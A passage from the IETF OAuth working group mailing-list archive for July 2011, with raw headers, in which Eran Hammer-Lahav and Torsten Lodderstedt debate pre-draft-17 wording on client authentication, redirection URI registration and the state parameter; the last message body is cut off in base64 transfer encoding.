Jul 2011 23:48:36 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Thu, 7 Jul 2011 23:48:33 -0700 Thread-Topic: Timely review request: pre-draft-17 Thread-Index: Acw60bNgjUQ4p8h+QYCzO9enflhYbABqGqmgADAdNgA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF8B@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 06:48:38 -0000 Almost done with -17. I have sent a few emails to the list with open questions and requests. I wi= ll include as many of the replies as I can before publishing tomorrow or Sa= turday. My remaining task is to try and move as much of the normative text (MUST, S= HOULD) out of the security consideration section and into the relevant sect= ions where the actual component is discussed. I also need to review all the= normative language and make sure it is consistent (found a few MUST in one= spot and SHOULD in another). Changes not discussed fully on the list are marked with [[ Pending Consensu= s ]]. EHL > -----Original Message----- > From: Eran Hammer-Lahav > Sent: Thursday, July 07, 2011 1:01 AM > To: OAuth WG > Subject: RE: Timely review request: pre-draft-17 >=20 > I finished the major part of -17, adding a new Client registration sectio= n and > folding client authentication into it. This new text attempts to directly > address: >=20 > * client authentication requirements > * define client types with regard to keeping secrets > * set registration requirements > * properly explain client identifier > * replace client credentials with a more generic client authentication (i= n > terms used throughout the document) > * provide a comprehensive discussion of redirection URIs (this is where t= he > few normative changes are) > * tweak the implicit and authorization code intros to better reflect real= ity > ('optimized for') > * separate client identifier from client authentication (keep binding > requirement) >=20 > Normative changes (this should be verified): >=20 > * require client authentication for private clients (previously implied) > * require redirection endpoint registration for implicit grant and all fo= r public > clients requests > * remove client_id as a required parameter from the token endpoint (now > back to being part of the client_secret pair) >=20 > The draft includes other changes like new error codes, but I'll list thos= e when > the draft is published. I still have about 32 more items on my list to ap= ply > before publishing, but the major changes are done. >=20 > You can always find the latest here: >=20 > https://github.com/hueniverse/draft-ietf-oauth >=20 > Early review of the following sections would be GREALY appreciated: >=20 > 2. Client Registration > 2.1. Client Types > 2.2. Registration Requirements > 2.3. Client Identifier > 2.4. Client Authentication > 2.4.1. Client Password > 2.4.2. Other Authentication Methods > 2.5. Unregistered Clients >=20 > 3.1.2. Redirection URI >=20 > 3.2.1. Client Authentication >=20 > -17 will be published by Friday at which point I will leave it to the cha= irs to > decide if they still want to initiate WGLC or give the draft a few days o= f > informal review. >=20 > EHL >=20 >=20 > > -----Original Message----- > > From: Eran Hammer-Lahav > > Sent: Monday, July 04, 2011 10:09 PM > > To: OAuth WG > > Subject: Timely review request: pre-draft-17 > > > > I have started sharing my planned changes for 17: > > > > https://github.com/hueniverse/draft-ietf-oauth > > > > Change log: > > > > https://github.com/hueniverse/draft-ietf- > > oauth/commit/24a48f99c204331264028 > > f66708427961a1bc102#diff-3 > > > > > > My main focus right now is to clarify client types, registration, and > > identification, as well as tweak the registration requirements for > > redirection URIs. This is still very raw. However, I would very much > > like to get feedback about the following sections: > > > > 1.1.1. Client Types > > 1.2. Client Registration > > > > 2.1.1. Redirection URI > > > > > > In section 2.1.1, please note that it includes many new normative > > requirements, but in practice, they mostly boil down to the > > requirement to register a redirection URI for using the implicit grant > > type as well as using the authorization code with a public client (new > > term for describing client incapable of keeping secrets). > > > > I have turned the spec around, making registered redirection URIs the > > default, and using the parameter as an optional feature. > > > > Feedback is very much appreciated as we only have a few more days > > before I have to push out -17 and would like a few more eyes looking > > at the new text before published. > > > > I am still not ready to share changes to section 3. Also, I have a > > long list of additional changes raised on the list. > > > > Thanks, > > > > EHL > > > > > > From torsten@lodderstedt.net Fri Jul 8 00:59:03 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 14C4221F8764 for ; Fri, 8 Jul 2011 00:59:03 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 42VNzVGpnPCp for ; Fri, 8 Jul 2011 00:59:02 -0700 (PDT) Received: from smtprelay02.ispgateway.de (smtprelay02.ispgateway.de [80.67.18.44]) by ietfa.amsl.com (Postfix) with ESMTP id CDD6421F8763 for ; Fri, 8 Jul 2011 00:59:01 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.177.5]) by smtprelay02.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Qf5xd-0002ai-Rp; Fri, 08 Jul 2011 09:58:54 +0200 References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit From: Torsten Lodderstedt Date: Fri, 08 Jul 2011 10:58:49 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 07:59:03 -0000 seems you are contradicting yourself. You criticised the MUST and suggested to include some examples. I bought into your argument and suggested to refer to the security doc for examples and additional explanations. That's what this document is intended for, to provide background beyond what we can cover in the core spec. And I don't think the spec already makes that point. But you are free to refer me to the respective text. regards, Torsten. Eran Hammer-Lahav schrieb: >I still don’t find it useful. I think the existing text overall makes >this point already. > >EHL > >From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] >Sent: Wednesday, July 06, 2011 12:48 AM >To: Eran Hammer-Lahav; OAuth WG >Subject: Re: Section 10.1 (Client authentication) > >Hi Eran, > >I would suggest to change it to SHOULD and add a reference to >https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections >3.7 and 5.2.3. > >regards, >Torsten. > > >Eran Hammer-Lahav > >schrieb: >It's a pointless MUST given how undefined the requirements are. It will >only be understood by security experts and they don't really need it. >At a minimum, it needs some examples. > >EHL > >From: Torsten Lodderstedt >> >Date: Wed, 1 Jun 2011 00:53:37 -0700 >To: Eran Hammer-lahav >>, OAuth WG >> >Subject: Section 10.1 (Client authentication) > >Hi Eran, > >would you please add the following sentence (which was contained in the >original security considerations text) to the second paragraph of >section 1.0.1? > >Alternatively, authorization servers MUST utilize > other means than client authentication to achieve their security > objectives. > > >I think it's important to state that authorization server should >consider alternative way to validate the client identity if secrets >cannot be used. The security threat document also suggest some. > >regards, >Torsten. From torsten@lodderstedt.net Fri Jul 8 01:22:40 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 84E1A21F8629 for ; Fri, 8 Jul 2011 01:22:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=-0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id K4ZkTPVFR8tB for ; Fri, 8 Jul 2011 01:22:40 -0700 (PDT) Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.98]) by ietfa.amsl.com (Postfix) with ESMTP id 9092E21F8684 for ; Fri, 8 Jul 2011 01:22:39 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.177.5]) by smtprelay05.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Qf6Kb-0000hq-Or; Fri, 08 Jul 2011 10:22:38 +0200 References: <4E08F494.2010807@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD3@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD3@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----L1MWSMBAJ4QM08SNHJ8QFVYO7D42S1" From: Torsten Lodderstedt Date: Fri, 08 Jul 2011 11:22:33 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: <9d7933e1-6845-4d58-9835-387b0753aab9@email.android.com> X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] state parameter and XSRF detection X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 08:22:40 -0000 ------L1MWSMBAJ4QM08SNHJ8QFVYO7D42S1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Eran, including dynamic values within redirect uris is standard practice today and is allowed by the spec's text so far. I don't mind to change it but the restricted behavior you prefer is a significant protocol change. Moreover, I would like to understand the threat you have in mind and include it into our threat model. So would you please provide a more detailed description? regards, Torsten. Eran Hammer-Lahav schrieb: Allowing any flexibly in the redirection URI is a bad thing and the latest draft (pre -17) clearly states that. The main fear is that by allowing the query to be changed dynamically, attackers can find open redirector loopholes to abuse. I really wanted to make registration of the absolute URI a MUST, but didn't go that far. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Monday, June 27, 2011 2:22 PM > To: OAuth WG > Subject: [OAUTH-WG] state parameter and XSRF detection > > Hi all, > > while working on a new revision of the OAuth security document, a question > arose I would like to clarify on the list. > > The "state" parameter is supposed to be used to link a certain authorization > request and response. Therefore, the client stores a value in this parameter > that is somehow bound to a value retained on the device (the user agent) > originating the authorization request. > > The question now is: Would it be compliant with the core spec to use any > other URI query parameter encoded in the redirect_uri, instead of the > "state" parameter, to achieve the same goal? Probably the client already has > a working "legacy" implementation it does not want to change just for > OAuth2 compliance. > > According to section 2.2.1, the redirection uri could contain a dynamic > portion: > > "The authorization server SHOULD require the client to pre-register > their redirection URI or at least certain components such as the > scheme, host, port and path" > > So this should be fine. > > Any comments? > > regards, > Torsten. > >_____________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth ------L1MWSMBAJ4QM08SNHJ8QFVYO7D42S1 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi Eran,

including dynamic values within redirect uris is standard practice today and is allowed by the spec's text so far. I don't mind to change it but the restricted behavior you prefer is a significant protocol change.

Moreover, I would like to understand the threat you have in mind and include it into our threat model. So would you please provide a more detailed description?

regards,
Torsten.




Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
Allowing any flexibly in the redirection URI is a bad thing and the latest draft (pre -17) clearly states that. The main fear is that by allowing the query to be changed dynamically, attackers can find open redirector loopholes to abuse. I really wanted to make registration of the absolute URI a MUST, but didn't go that far.

EHL

> -----Original Message-----
> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf
> Of Torsten Lodderstedt
> Sent: Monday, June 27, 2011 2:22 PM
> To: OAuth WG
> Subject: [OAUTH-WG] state parameter and XSRF detection
> 
> Hi all,
> 
> while working on a new revision of the OAuth security document, a question
> arose I would like to clarify on the list.
> 
> The "state" parameter is supposed to be used to link a certain authorization
 
> request and response. Therefore, the client stores a value in this parameter
> that is somehow bound to a value retained on the device (the user agent)
> originating the authorization request.
> 
> The question now is: Would it be compliant with the core spec to use any
> other URI query parameter encoded in the redirect_uri, instead of the
> "state" parameter, to achieve the same goal? Probably the client already has
> a working "legacy" implementation it does not want to change just for
> OAuth2 compliance.
> 
> According to section 2.2.1, the redirection uri could contain a dynamic
> portion:
> 
> "The authorization server SHOULD require the client to pre-register
>     their redirection URI or at least certain components such as the
>     scheme, host, port and path"
> 
> So this should be fine.
> 
> Any comments?> 
> regards,
> Torsten.
> 
>

> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth
------L1MWSMBAJ4QM08SNHJ8QFVYO7D42S1-- From torsten@lodderstedt.net Fri Jul 8 01:37:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 76BBA21F869D for ; Fri, 8 Jul 2011 01:37:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=-0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id a6IiqeyUFgJs for ; Fri, 8 Jul 2011 01:37:30 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.104]) by ietfa.amsl.com (Postfix) with ESMTP id BF07C21F85AA for ; Fri, 8 Jul 2011 01:37:28 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.177.5]) by smtprelay06.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Qf6Yw-0002Mw-Io; Fri, 08 Jul 2011 10:37:26 +0200 References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----K38064J02CJM8542E9Y3L16ROGJ74Q" From: Torsten Lodderstedt Date: Fri, 08 Jul 2011 11:37:21 +0300 To: Brian Eaton ,Anthony Nadalin Message-ID: <75c85a9e-7690-4abb-84a0-b76b5816ea27@email.android.com> X-Df-Sender: torsten@lodderstedt-online.de Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 08:37:31 -0000 ------K38064J02CJM8542E9Y3L16ROGJ74Q Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Brian, your text is definitely a valuable contribution. Please note: your earlier text on OAuth security considerations has already been incorporated into the security document. I would suggest to first incorporate your new text there (probably together with your proposal regarding redirect uri validation). Afterwards we can decide what we really need in the core spec's sec considerations section. When we wrote the first draft of this section, we intended to keep it focused on the essential MUSTs to be considered by implementors (client, as, rs). Otherwise we will blow up this section to much and none will read it. I would prefer to keep it that way. Does this sound reasonable for you? regards, Torsten. Brian Eaton schrieb: >On Thu, Jul 7, 2011 at 11:08 AM, Anthony Nadalin >wrote: > >> I was responding to the structure question only. The token text is >> questionable sine the tokens are opaque to the core, seems like the >token >> write-up better belongs in the threat model document. Developers of >the >> various token specs and use this as guidance and reference it. >> > >OK, leaving aside the question of where the token text should end up, >is the >text I sent technically correct and useful? > >> >The proposed text is here: >http://www.ietf.org/mail-archive/web/oauth/current/msg06362.html. ------K38064J02CJM8542E9Y3L16ROGJ74Q Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi Brian,

your text is definitely a valuable contribution. Please note: your earlier text on OAuth security considerations has already been incorporated into the security document.

I would suggest to first incorporate your new text there (probably together with your proposal regarding redirect uri validation). Afterwards we can decide what we really need in the core spec's sec considerations section.

When we wrote the first draft of this section, we intended to keep it focused on the essential MUSTs to be considered by implementors (client, as, rs). Otherwise we will blow up this section to much and none will read it. I would prefer to keep it that way.

Does this sound reasonable for you?

regards,
Torsten.



Brian Eaton <beaton@google.com> schrieb:

>On Thu, Jul 7, 2011 at 11:08 AM, Anthony Nadalin
><tonynad@microsoft.com>wrote:
>
>> I was responding to the structure question only. The token text is
>> questionable sine the tokens are opaque to the core, seems like the
>token
>> write-up better belongs in the threat model document. Developers of
>the
>> various token specs and use this as guidance and reference it.
>>
>
>OK, leaving aside the question of where the token text should end up,
>is the
>text I sent technically correct and useful?
>
>>
>The proposed text is here:
>http://www.ietf.org/mail-archive/web/oauth/current/msg06362.html.
------K38064J02CJM8542E9Y3L16ROGJ74Q-- From eran@hueniverse.com Fri Jul 8 09:25:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5022621F8BBE for ; Fri, 8 Jul 2011 09:25:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.653 X-Spam-Level: X-Spam-Status: No, score=-2.653 tagged_above=-999 required=5 tests=[AWL=-0.054, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6EkB49s0E65V for ; Fri, 8 Jul 2011 09:25:37 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id A5DD421F8BBC for ; Fri, 8 Jul 2011 09:25:37 -0700 (PDT) Received: (qmail 21790 invoked from network); 8 Jul 2011 16:25:36 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 16:25:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Fri, 8 Jul 2011 09:25:18 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Fri, 8 Jul 2011 09:25:14 -0700 Thread-Topic: Section 10.1 (Client authentication) Thread-Index: Acw9ROp/5tFnSaGbTuWSnNGx4OwChwARSVwA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0024@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 16:25:38 -0000 SGV5IFRvcnN0ZW4sDQoNClRoZSBwcm92aWRlZCB0ZXh0IGFuZCBhbHRlcm5hdGl2ZSB0ZXh0IGFy ZSBqdXN0IG5vdCBoZWxwZnVsLiBJZiBJIGFtIHVuYWJsZSB0byB1bmRlcnN0YW5kIGl0LCBJIGhh dmUgZG91YnQgb3RoZXIgcmVhZGVycyB3aWxsIGJlIGFibGUgdG8uDQoNCkkgZG9uJ3Qga25vdyB3 aGF0IHlvdSBtZWFuIGJ5ICdvdGhlciBtZWFucycgd2hpY2ggYXJlIG5vdCBhbHJlYWR5IGRlc2Ny aWJlZCBpbiB0aGUgZG9jdW1lbnQgKGJhc2VkIG9uIC0xNykuIFJlZmVyZW5jaW5nIHRoZSBzZWN1 cml0eSB0aHJlYWQgbW9kZWwgZG9jdW1lbnQgaW4gYSBub3JtYXRpdmUgcmVmZXJlbmNlIHJlcXVp cmVzIG1ha2luZyBpdCBhIG5vcm1hdGl2ZSByZWZlcmVuY2Ugd2hpY2ggSSBhbSBvcHBvc2VkIHRv IGRvaW5nIC0gdGhlIHYyIGRvY3VtZW50IHNob3VsZCBpbmNsdWRlIGV2ZXJ5dGhpbmcgbmVlZGVk IHRvIGltcGxlbWVudCB0aGUgcHJvdG9jb2wgd2l0aG91dCBhbnkgYWRkaXRpb25hbCBzcGVjaWZp Y2F0aW9ucyAoZm9yIHRoZSBjb3JlIGZ1bmN0aW9uYWxpdHkpLg0KDQpXaGVuIEkgd2FzIGFza2lu ZyBmb3IgZXhhbXBsZXMsIEkgd2FzIGhvcGluZyBmb3Igc29tZXRoaW5nIGxpa2UgJ2ZvciBleGFt cGxlLCB1c2UgeCwgeSwgb3IgeicsIG5vdCBhIHJlZmVyZW5jZSB0byBhYm91dCAxMCBwYWdlcyBv ZiB0ZXh0ICh3aGljaCBieSBpdHNlbGYgaXMgcHJldHR5IGNvbmZ1c2luZywgYnV0IHRoYXQncyBh IGRpZmZlcmVudCBpc3N1ZSAtIEkgaG9wZSB0byBmaW5kIHRoZSB0aW1lIHRvIHByb3ZpZGUgZGV0 YWlsZWQgZmVlZGJhY2sgZm9yIHRoYXQgZG9jdW1lbnQpLg0KDQpJIHRoaW5rIHRoZSBjdXJyZW50 IGRvY3VtZW50IG1ha2VzIGEgcHJldHR5IGdvb2QgY2FzZSBmb3IgdXNpbmcgdGhlIHJlZGlyZWN0 aW9uIFVSSSBhcyBhIGZvcm0gb2YgY2xpZW50IHZhbGlkYXRpb24sIGFuZCBjbGVhcmx5IGxheXMg b3V0IHRoZSBkaWZmZXJlbmNlcyBiZXR3ZWVuIGEgcHVibGljIGFuZCBwcml2YXRlIGNsaWVudC4g SXQgaGFzIG5ldyByZXF1aXJlbWVudHMgZm9yIHRoZSByZWdpc3RyYXRpb24gb2YgcmVkaXJlY3Rp b24gVVJJcyB3aGVuIGNsaWVudCBhdXRoZW50aWNhdGlvbiBpcyBub3QgcG9zc2libGUuDQoNCklm IHRoZXJlIGFyZSBzcGVjaWZpYyB0aGluZ3MgdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIGNhbiBk byB0byBpbXByb3ZlIHNlY3VyaXR5IGJleW9uZCBjbGllbnQgYXV0aGVudGljYXRpb24sIHdlIHNo b3VsZCBsaXN0IHRoZW0gZXhwbGljaXRseSBpbiB0aGUgZG9jdW1lbnQuDQoNCkNhbiB5b3UgbGlz dCBleGFjdGx5IHdoYXQgeW91IGhhdmUgaW4gbWluZCBieSAnb3RoZXIgbWVhbnMnPyBKdXN0IHRo ZSBidWxsZXQgcG9pbnRzIHdpbGwgYmUgZW5vdWdoLg0KDQpFSEwNCg0KDQo+IC0tLS0tT3JpZ2lu YWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQgW21haWx0bzp0b3Jz dGVuQGxvZGRlcnN0ZWR0Lm5ldF0NCj4gU2VudDogRnJpZGF5LCBKdWx5IDA4LCAyMDExIDEyOjU5 IEFNDQo+IFRvOiBFcmFuIEhhbW1lci1MYWhhdjsgT0F1dGggV0cNCj4gU3ViamVjdDogUkU6IFNl Y3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKQ0KPiANCj4gc2VlbXMgeW91IGFyZSBj b250cmFkaWN0aW5nIHlvdXJzZWxmLg0KPiANCj4gWW91IGNyaXRpY2lzZWQgdGhlIE1VU1QgYW5k IHN1Z2dlc3RlZCB0byBpbmNsdWRlIHNvbWUgZXhhbXBsZXMuIEkgYm91Z2h0DQo+IGludG8geW91 ciBhcmd1bWVudCBhbmQgc3VnZ2VzdGVkIHRvIHJlZmVyIHRvIHRoZSBzZWN1cml0eSBkb2MgZm9y IGV4YW1wbGVzDQo+IGFuZCBhZGRpdGlvbmFsIGV4cGxhbmF0aW9ucy4gVGhhdCdzIHdoYXQgdGhp cyBkb2N1bWVudCBpcyBpbnRlbmRlZCBmb3IsIHRvDQo+IHByb3ZpZGUgYmFja2dyb3VuZCBiZXlv bmQgd2hhdCB3ZSBjYW4gY292ZXIgaW4gdGhlIGNvcmUgc3BlYy4NCj4gDQo+IEFuZCBJIGRvbid0 IHRoaW5rIHRoZSBzcGVjIGFscmVhZHkgbWFrZXMgdGhhdCBwb2ludC4gQnV0IHlvdSBhcmUgZnJl ZSB0byByZWZlcg0KPiBtZSB0byB0aGUgcmVzcGVjdGl2ZSB0ZXh0Lg0KPiANCj4gcmVnYXJkcywN Cj4gVG9yc3Rlbi4NCj4gDQo+IA0KPiANCj4gRXJhbiBIYW1tZXItTGFoYXYgPGVyYW5AaHVlbml2 ZXJzZS5jb20+IHNjaHJpZWI6DQo+IA0KPiA+SSBzdGlsbCBkb27igJl0IGZpbmQgaXQgdXNlZnVs LiBJIHRoaW5rIHRoZSBleGlzdGluZyB0ZXh0IG92ZXJhbGwgbWFrZXMNCj4gPnRoaXMgcG9pbnQg YWxyZWFkeS4NCj4gPg0KPiA+RUhMDQo+ID4NCj4gPkZyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQg W21haWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldF0NCj4gPlNlbnQ6IFdlZG5lc2RheSwgSnVs eSAwNiwgMjAxMSAxMjo0OCBBTQ0KPiA+VG86IEVyYW4gSGFtbWVyLUxhaGF2OyBPQXV0aCBXRw0K PiA+U3ViamVjdDogUmU6IFNlY3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKQ0KPiA+ DQo+ID5IaSBFcmFuLA0KPiA+DQo+ID5JIHdvdWxkIHN1Z2dlc3QgdG8gY2hhbmdlIGl0IHRvIFNI T1VMRCBhbmQgYWRkIGEgcmVmZXJlbmNlIHRvDQo+ID5odHRwczovL3Rvb2xzLmlldGYub3JnL2h0 bWwvZHJhZnQtaWV0Zi1vYXV0aC12Mi10aHJlYXRtb2RlbC0wMCBzZWN0aW9ucw0KPiA+My43IGFu ZCA1LjIuMy4NCj4gPg0KPiA+cmVnYXJkcywNCj4gPlRvcnN0ZW4uDQo+ID4NCj4gPg0KPiA+RXJh biBIYW1tZXItTGFoYXYNCj4gPGVyYW5AaHVlbml2ZXJzZS5jb208bWFpbHRvOmVyYW5AaHVlbml2 ZXJzZS5jb20+Pg0KPiA+c2NocmllYjoNCj4gPkl0J3MgYSBwb2ludGxlc3MgTVVTVCBnaXZlbiBo b3cgdW5kZWZpbmVkIHRoZSByZXF1aXJlbWVudHMgYXJlLiBJdCB3aWxsDQo+ID5vbmx5IGJlIHVu ZGVyc3Rvb2QgYnkgc2VjdXJpdHkgZXhwZXJ0cyBhbmQgdGhleSBkb24ndCByZWFsbHkgbmVlZCBp dC4NCj4gPkF0IGEgbWluaW11bSwgaXQgbmVlZHMgc29tZSBleGFtcGxlcy4NCj4gPg0KPiA+RUhM DQo+ID4NCj4gPkZyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQNCj4gPjx0b3JzdGVuQGxvZGRlcnN0 ZWR0Lm5ldDxtYWlsdG86dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXQ+Pg0KPiA+RGF0ZTogV2VkLCAx IEp1biAyMDExIDAwOjUzOjM3IC0wNzAwDQo+ID5UbzogRXJhbiBIYW1tZXItbGFoYXYNCj4gPjxl cmFuQGh1ZW5pdmVyc2UuY29tPG1haWx0bzplcmFuQGh1ZW5pdmVyc2UuY29tPj4sIE9BdXRoIFdH DQo+ID48b2F1dGhAaWV0Zi5vcmc8bWFpbHRvOm9hdXRoQGlldGYub3JnPj4NCj4gPlN1YmplY3Q6 IFNlY3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKQ0KPiA+DQo+ID5IaSBFcmFuLA0K PiA+DQo+ID53b3VsZCB5b3UgcGxlYXNlIGFkZCB0aGUgZm9sbG93aW5nIHNlbnRlbmNlICh3aGlj aCB3YXMgY29udGFpbmVkIGluIHRoZQ0KPiA+b3JpZ2luYWwgc2VjdXJpdHkgY29uc2lkZXJhdGlv bnMgdGV4dCkgdG8gdGhlIHNlY29uZCBwYXJhZ3JhcGggb2YNCj4gPnNlY3Rpb24gMS4wLjE/DQo+ ID4NCj4gPkFsdGVybmF0aXZlbHksIGF1dGhvcml6YXRpb24gc2VydmVycyBNVVNUIHV0aWxpemUN Cj4gPiAgICBvdGhlciBtZWFucyB0aGFuIGNsaWVudCBhdXRoZW50aWNhdGlvbiB0byBhY2hpZXZl IHRoZWlyIHNlY3VyaXR5DQo+ID4gICAgb2JqZWN0aXZlcy4NCj4gPg0KPiA+DQo+ID5JIHRoaW5r IGl0J3MgaW1wb3J0YW50IHRvIHN0YXRlIHRoYXQgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgc2hvdWxk 